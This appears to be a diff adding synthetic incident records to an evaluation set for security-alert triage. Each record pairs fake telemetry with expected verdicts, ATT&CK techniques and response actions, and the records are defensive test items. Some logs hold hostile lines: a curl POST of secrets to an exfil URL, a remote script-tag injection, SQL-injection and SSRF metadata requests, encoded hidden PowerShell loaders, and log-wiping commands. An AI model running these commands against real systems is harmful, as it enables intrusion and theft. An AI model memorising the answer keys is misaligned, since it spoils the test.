+ "description": "Mass file rename observed on GCP-GKE-NODE-04 ([email protected]); ..enc extension applied to ~20 k files. Ransomware note R3ADM3-LockBit 3.0.txt found.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Ransomware encryption in progress on GCP-GKE-NODE-04",
+ "severity": "critical",
+ "template_id": "ransomware-encryption"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.enc",
+ "User": "[email protected]",
+ "rename_rate_per_min": 4200
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-LockBit 3.0.txt",
+ "User": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "Ransomware behaviour: high-rate file rename + ransom note",
+ "severity": "critical",
+ "Computer": "GCP-GKE-NODE-04",
+ "threat_actor": "LockBit 3.0"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1486"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-039",
+ "provenance": "synthetic",
+ "title": "Cryptominer execution on WIN-DC-SECONDARY",
+ "description": "XMRig miner spawned on WIN-DC-SECONDARY; CPU saturated to 95%. Mining pool 172.16.50.7:5555. Linked to LockBit 3.0.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Cryptominer execution on WIN-DC-SECONDARY",
+ "severity": "medium",
+ "template_id": "xmrig-cryptominer"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/xmrig",
+ "a0": "xmrig",
+ "a1": "-o",
+ "a2": "172.16.50.7:5555",
+ "hostname": "WIN-DC-SECONDARY",
+ "cpu_pct": 95
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1496"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-040",
+ "provenance": "synthetic",
+ "title": "BEC: payment redirect by [email protected]",
+ "description": "Spear-phishing email spoofed CFO. Wire transfer of $250 k initiated by [email protected] from AWS-EC2-PROD-API to threat-actor account. Linked to ALPHV/BlackCat.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "BEC: payment redirect by [email protected]",
+ "severity": "critical",
+ "template_id": "bec-wire-fraud"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "AWS-EC2-PROD-API",
+ "Subject": "URGENT: Wire instructions from CFO",
+ "From": "[email protected]",
+ "ReplyTo": "[email protected]",
+ "threat_actor": "ALPHV/BlackCat"
+ }
+ ],
+ "expected_disposition": "suspicious",
+ "expected_techniques": [
+ "T1566.001",
+ "T1657"
+ ],
+ "expected_actions": [
+ "escalate",
+ "create_ticket",
+ "notify"
+ ]
+ },
+ {
+ "id": "INC-EVAL-041",
+ "provenance": "synthetic",
+ "title": "Public S3 bucket exposing PII",
+ "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 203.0.113.45.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Public S3 bucket exposing PII",
+ "severity": "critical",
+ "template_id": "public-s3-bucket-pii"
+ },
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutBucketAcl",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "AccessControlPolicy": {
+ "Grants": [
+ {
+ "Grantee": "AllUsers",
+ "Permission": "READ"
+ }
+ ]
+ }
+ }
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "ListObjectsV2",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "203.0.113.45",
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "max-keys": 1000
+ },
+ "userIdentity": {
+ "type": "AnonymousUser"
+ }
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1530",
+ "T1567.002"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-042",
+ "provenance": "synthetic",
+ "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
+ "description": "Successful Azure AD sign-in for [email protected] from 45.142.122.111 (impossible-travel from prior location). MFA satisfied via stolen session token.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
+ "severity": "critical",
+ "template_id": "azure-ad-impossible-travel"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "45.142.122.111",
+ "location": {
+ "city": "Vladivostok",
+ "countryOrRegion": "RU"
+ },
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Previously satisfied",
+ "succeeded": true
+ }
+ ],
+ "riskEventTypes": [
+ "unfamiliarFeatures",
+ "unlikelyTravel"
+ ],
+ "riskLevelAggregated": "high"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1078.004",
+ "T1550.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-043",
+ "provenance": "synthetic",
+ "title": "DDoS volumetric flood targeting public-facing WIN-DEVOPS-LT",
+ "description": "L4 SYN flood from a botnet (>1M PPS) targeting WIN-DEVOPS-LT. Edge mitigation engaged but service degraded for 12 minutes.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "DDoS volumetric flood targeting public-facing WIN-DEVOPS-LT",
+ "severity": "high",
+ "template_id": "ddos-syn-flood"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://WIN-DEVOPS-LT/",
+ "status_code": 503,
+ "pps": 1120000,
+ "packet_type": "TCP-SYN",
+ "edge_mitigation": "engaged",
+ "duration_secs": 720
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1498.001"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-044",
+ "provenance": "synthetic",
+ "title": "Insider preparing departure: large mailbox export by [email protected]",
+ "description": "[email protected] exported full mailbox PST (8 GB) from AZURE-VM-FIN-001. HR flag: notice given last week.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Insider preparing departure: large mailbox export by [email protected]",
+ "severity": "high",
+ "template_id": "insider-mailbox-export"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-MailboxExportRequest",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Mailbox": "[email protected]",
+ "FilePath": "\\\\AZURE-VM-FIN-001\\export\\[email protected]"
+ },
+ "Bytes": 8300000000
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1114.002",
+ "T1567.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-045",
+ "provenance": "synthetic",
+ "title": "Malicious Office add-in installed for [email protected]",
+ "description": "Office VSTO add-in registered under HKCU for [email protected] on WIN-EXCHANGE-01; loads on every Outlook startup; beacons to 185.220.101.7.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious Office add-in installed for [email protected]",
+ "severity": "high",
+ "template_id": "office-vsto-addin"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "WIN-EXCHANGE-01",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Microsoft\\Office\\Outlook\\Addins\\Aisoc.Updater",
+ "Details": "LoadBehavior=3;Manifest=file:///C:/Users/[email protected]/AppData/Roaming/aisoc.vsto"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "WIN-EXCHANGE-01",
+ "Image": "C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE",
+ "DestinationIp": "185.220.101.7",
+ "DestinationPort": 443
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1137.006",
+ "T1071.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-046",
+ "provenance": "synthetic",
+ "title": "GitHub PAT leaked and abused from 185.220.101.7",
+ "description": "Personal access token belonging to [email protected] used from 185.220.101.7 to clone 14 private repos. Token committed in public dotfiles repo 6 hours earlier.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "GitHub PAT leaked and abused from 185.220.101.7",
+ "severity": "critical",
+ "template_id": "github-pat-leak"
+ },
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "git.clone",
+ "actor": "[email protected]",
+ "actor_ip": "185.220.101.7",
+ "repo_count": 14,
+ "programmatic_access_type": "personal_access_token",
+ "user_agent": "git/2.40.0"
+ },
+ {
+ "source": "github_audit",
+ "action": "push",
+ "actor": "[email protected]",
+ "repo": "[email protected]/dotfiles",
+ "visibility": "public",
+ "file_changed": ".env",
+ "secret_detected": "github_pat_*"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1552.001",
+ "T1213.003"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-047",
+ "provenance": "synthetic",
+ "title": "EC2 instance metadata service abused on GCP-GKE-NODE-04",
+ "description": "IMDSv1 abused on GCP-GKE-NODE-04; temporary IAM credentials for role exfilled to 198.51.100.23. CloudTrail shows AssumeRole from external.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "EC2 instance metadata service abused on GCP-GKE-NODE-04",
+ "severity": "critical",
+ "template_id": "ec2-imds-credential-theft"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-app",
+ "status_code": 200,
+ "src_host": "GCP-GKE-NODE-04",
+ "imds_version": "v1"
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "AssumeRole",
+ "eventSource": "sts.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "198.51.100.23",
+ "userIdentity": {
+ "type": "AssumedRole",
+ "principalId": "AIDA:role-app",
+ "arn": "arn:aws:sts::123456789012:assumed-role/role-app/i-0abc"
+ },
+ "userAgent": "aws-cli/2.13"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1552.005",
+ "T1078.004"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-048",
+ "provenance": "synthetic",
+ "title": "Vendor admin password reset abuse for [email protected]",
+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 185.220.101.7. Token claimed within 90 seconds.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Vendor admin password reset abuse for [email protected]",
+ "severity": "high",
+ "template_id": "helpdesk-password-reset-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Reset user password.",
+ "UserId": "[email protected]",
+ "TargetUserId": "[email protected]",
+ "ClientIP": "10.0.0.50"
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "185.220.101.7",
+ "resultType": 0,
+ "seconds_after_reset": 87
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1566.004",
+ "T1078"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-049",
+ "provenance": "synthetic",
+ "title": "OAuth refresh-token theft for [email protected]",
+ "description": "Refresh token for [email protected] replayed from 172.16.50.7. Granted access to mailbox + OneDrive without re-prompt.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "OAuth refresh-token theft for [email protected]",
+ "severity": "high",
+ "template_id": "oauth-refresh-token-theft"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "172.16.50.7",
+ "resultType": 0,
+ "authenticationProtocol": "oAuth2",
+ "grantType": "refresh_token",
+ "resourceDisplayName": "Microsoft Graph"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1550.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-050",
+ "provenance": "synthetic",
+ "title": "Container image with embedded backdoor pulled by AWS-EC2-PROD-API",
+ "description": "Image registry/repo:malicious-backdoor pulled by AWS-EC2-PROD-API. Layer scan flagged embedded netcat reverse-shell binary.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Container image with embedded backdoor pulled by AWS-EC2-PROD-API",
+ "severity": "high",
+ "template_id": "malicious-container-image"
+ },
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "system:serviceaccount:default:deploy"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "image": "registry.local/repo:malicious-backdoor"
+ }
+ ]
+ }
+ },
+ "node": "AWS-EC2-PROD-API"
+ },
+ {
+ "source": "edr",
+ "rule": "Image scan: embedded netcat reverse-shell binary",
+ "severity": "high",
+ "Computer": "AWS-EC2-PROD-API",
+ "image": "registry.local/repo:malicious-backdoor",
+ "cve_layer_count": 2
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1195.002",
+ "T1610"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-051",
+ "provenance": "synthetic",
+ "title": "Outlook rule auto-forwarding mail from [email protected]",
+ "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 203.0.113.45. Linked to MagicWeb.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Outlook rule auto-forwarding mail from [email protected]",
+ "severity": "high",
+ "template_id": "outlook-auto-forward-rule"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Sync",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true,
+ "MarkAsRead": true
+ },
+ "threat_actor": "MagicWeb"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1564.008",
+ "T1114.003"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-052",
+ "provenance": "synthetic",
+ "title": "Linux journald log tampering on K8S-PROD-CLUSTER",
+ "description": "journalctl --rotate --vacuum-time=1s observed on K8S-PROD-CLUSTER by [email protected]; recent journal entries purged. Indicator removal.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Linux journald log tampering on K8S-PROD-CLUSTER",
+ "severity": "high",
+ "template_id": "linux-journald-tampering"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/journalctl",
+ "a0": "journalctl",
+ "a1": "--rotate",
+ "a2": "--vacuum-time=1s",
+ "hostname": "K8S-PROD-CLUSTER",
+ "user": "[email protected]"
+ }
+ ],
+ "expected_disposition": "suspicious",
+ "expected_techniques": [
+ "T1070.002"
+ ],
+ "expected_actions": [
+ "escalate",
+ "create_ticket",
+ "notify"
+ ]
+ },
+ {
+ "id": "INC-EVAL-053",
+ "provenance": "synthetic",
+ "title": "Compromised CI runner on AZURE-VM-FIN-001 pushing to production",
+ "description": "Self-hosted CI runner AZURE-VM-FIN-001 compromised. Job triggered from PR injected secret exfil step; secrets posted to 192.168.1.100.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Compromised CI runner on AZURE-VM-FIN-001 pushing to production",
+ "severity": "critical",
+ "template_id": "compromised-ci-runner"
+ },
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "workflow_run.requested",
+ "workflow": "deploy.yml",
+ "actor": "external-contrib",
+ "repository": "aisoc/web",
+ "event": "pull_request",
+ "runner": "AZURE-VM-FIN-001"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/curl",
+ "a1": "-X",
+ "a2": "POST",
+ "a3": "https://192.168.1.100/exfil",
+ "hostname": "AZURE-VM-FIN-001",
+ "user": "ci-runner",
+ "secret_detected": true
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1195.002",
+ "T1552.004"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-054",
+ "provenance": "synthetic",
+ "title": "Suspicious VPN login from new geography for [email protected]",
+ "description": "VPN login for [email protected] from 10.0.99.42 (new country, no prior history). Subsequent lateral SMB scan from VPN range to LIN-K8S-NODE01.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Suspicious VPN login from new geography for [email protected]",
+ "severity": "high",
+ "template_id": "vpn-new-geography"
+ },
+ "telemetry": [
+ {
+ "source": "vpn",
+ "action": "login_success",
+ "user": "[email protected]",
+ "src_ip": "10.0.99.42",
+ "geo_country": "UA",
+ "first_login_country": true
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "LIN-K8S-NODE01",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\IPC$",
+ "IpAddress": "10.0.99.42",
+ "EventCount": 128
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1078.004",
+ "T1021.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-055",
+ "provenance": "synthetic",
+ "title": "Privileged command run as service account on WIN-PROD-WEB02",
+ "description": "Service account [email protected] (no interactive use expected) ran privileged net.exe + wevtutil cl Security on WIN-PROD-WEB02. Anomalous.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Privileged command run as service account on WIN-PROD-WEB02",
+ "severity": "high",
+ "template_id": "service-account-privileged-command"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security",
+ "LogonType": 5
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1078.001",
+ "T1070.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-056",
+ "provenance": "synthetic",
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "description": "Inbound email from 10.0.99.42 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on LIN-DB-REPLICA; macro spawned cmd.exe and downloaded a stage-2 payload from a known Scattered Spider infrastructure.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "severity": "high",
+ "template_id": "phishing-macro-email"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "10.0.99.42",
+ "Subject": "Q4 invoice (action required)",
+ "AttachmentNames": [
+ "invoice_q4.docm"
+ ]
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\cmd.exe",
+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
+ "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"
+ },
+ {
+ "source": "edr",
+ "rule": "Office macro spawned cmd.exe",
+ "severity": "high",
+ "Computer": "LIN-DB-REPLICA",
+ "User": "[email protected]",
+ "threat_actor": "Scattered Spider"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1566.001",
+ "T1059.005"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-057",
+ "provenance": "synthetic",
+ "title": "Exploitation of public-facing web app on AWS-EC2-PROD-API",
+ "description": "WAF logs show SQL-injection and SSRF probes from 172.16.50.7 against the application on AWS-EC2-PROD-API. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Exploitation of public-facing web app on AWS-EC2-PROD-API",
+ "severity": "critical",
+ "template_id": "webapp-sqli-ssrf-exploit"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://AWS-EC2-PROD-API/search?q=' OR 1=1--",
+ "status_code": 200,
+ "src_ip": "172.16.50.7",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SQLI:1011",
+ "cve": "CVE-2024-1234"
+ },
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://AWS-EC2-PROD-API/proxy?u=http://169.254.169.254/latest/meta-data/",
+ "status_code": 200,
+ "src_ip": "172.16.50.7",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SSRF:2007"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1190",
+ "T1082"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-058",
+ "provenance": "synthetic",
+ "title": "Watering-hole exploit served from internal Confluence by 198.51.100.23",
+ "description": "Internal Confluence page injected with malicious JavaScript by 198.51.100.23. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to APT29 TTPs.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Watering-hole exploit served from internal Confluence by 198.51.100.23",
+ "severity": "high",
+ "template_id": "confluence-watering-hole"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://confluence.example.com/pages/editpage.action?pageId=8472",
+ "status_code": 200,
+ "src_ip": "198.51.100.23",
+ "user_agent": "Mozilla/5.0",
+ "payload_excerpt": "<script src=//198.51.100.23/x.js></script>"
+ },
+ {
+ "source": "edr",
+ "rule": "Browser exploitation: drive-by JavaScript loader",
+ "severity": "high",
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "threat_actor": "APT29"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1189",
+ "T1203"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-059",
+ "provenance": "synthetic",
+ "title": "Supply-chain compromise: malicious npm package on MAC-CFO-LAPTOP",
+ "description": "CI pipeline on MAC-CFO-LAPTOP installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 198.51.100.23. Build artefacts may be tainted.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Supply-chain compromise: malicious npm package on MAC-CFO-LAPTOP",
+ "severity": "critical",
+ "template_id": "npm-supply-chain"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/node",
+ "a0": "node",
+ "a1": "/tmp/node_modules/event-stream/postinstall.js",
+ "hostname": "MAC-CFO-LAPTOP",
+ "user": "ci-runner"
+ },
+ {
+ "source": "github_audit",
+ "action": "workflow_run.completed",
+ "workflow": "ci.yml",
+ "actor": "dependabot[bot]",
+ "repository": "aisoc/web",
+ "conclusion": "success",
+ "package_added": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "npm post-install reverse shell",
+ "severity": "high",
+ "Computer": "MAC-CFO-LAPTOP",
+ "User": "ci-runner",
+ "dest_ip": "198.51.100.23",
+ "dest_port": 4444
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1195.001",
+ "T1059.007"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-060",
+ "provenance": "synthetic",
+ "title": "Malicious USB autorun on air-gapped host MAC-LEGAL-LAPTOP",
+ "description": "USB device inserted on air-gapped MAC-LEGAL-LAPTOP by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious USB autorun on air-gapped host MAC-LEGAL-LAPTOP",
+ "severity": "high",
+ "template_id": "usb-autorun-airgap"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 6416,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "SubjectUserName": "[email protected]",
+ "ClassName": "USB",
+ "DeviceDescription": "SanDisk Cruzer 16GB"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "User": "[email protected]",
+ "Image": "C:\\Python311\\python.exe",
+ "ParentImage": "C:\\Windows\\System32\\rundll32.exe",
+ "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1091",
+ "T1005"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-061",
+ "provenance": "synthetic",
+ "title": "OAuth consent phishing targeting [email protected]",
+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 172.16.50.7.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "OAuth consent phishing targeting [email protected]",
+ "severity": "high",
+ "template_id": "oauth-consent-phish"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Consent to application.",
+ "UserId": "[email protected]",
+ "ApplicationId": "00000003-0000-0ff1-ce00-000000000000",
+ "ConsentedScopes": [
+ "Mail.Read",
+ "Files.Read.All",
+ "offline_access"
+ ]
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Auto-fwd",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true
+ }
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1528",
+ "T1550.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-062",
+ "provenance": "synthetic",
+ "title": "Obfuscated PowerShell dropper executed on WIN-DC-PRIMARY",
+ "description": "PowerShell dropper executed on WIN-DC-PRIMARY by [email protected]; payload base64-encoded and decoded in-memory. Linked to LockBit 3.0 ransomware staging.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Obfuscated PowerShell dropper executed on WIN-DC-PRIMARY",
+ "severity": "critical",
+ "template_id": "powershell-obfuscated-dropper"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4104,
+ "Computer": "WIN-DC-PRIMARY",
+ "User": "[email protected]",
+ "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)",
+ "threat_actor": "LockBit 3.0"
+ }
+ ],
+ "expected_disposition": "malicious",
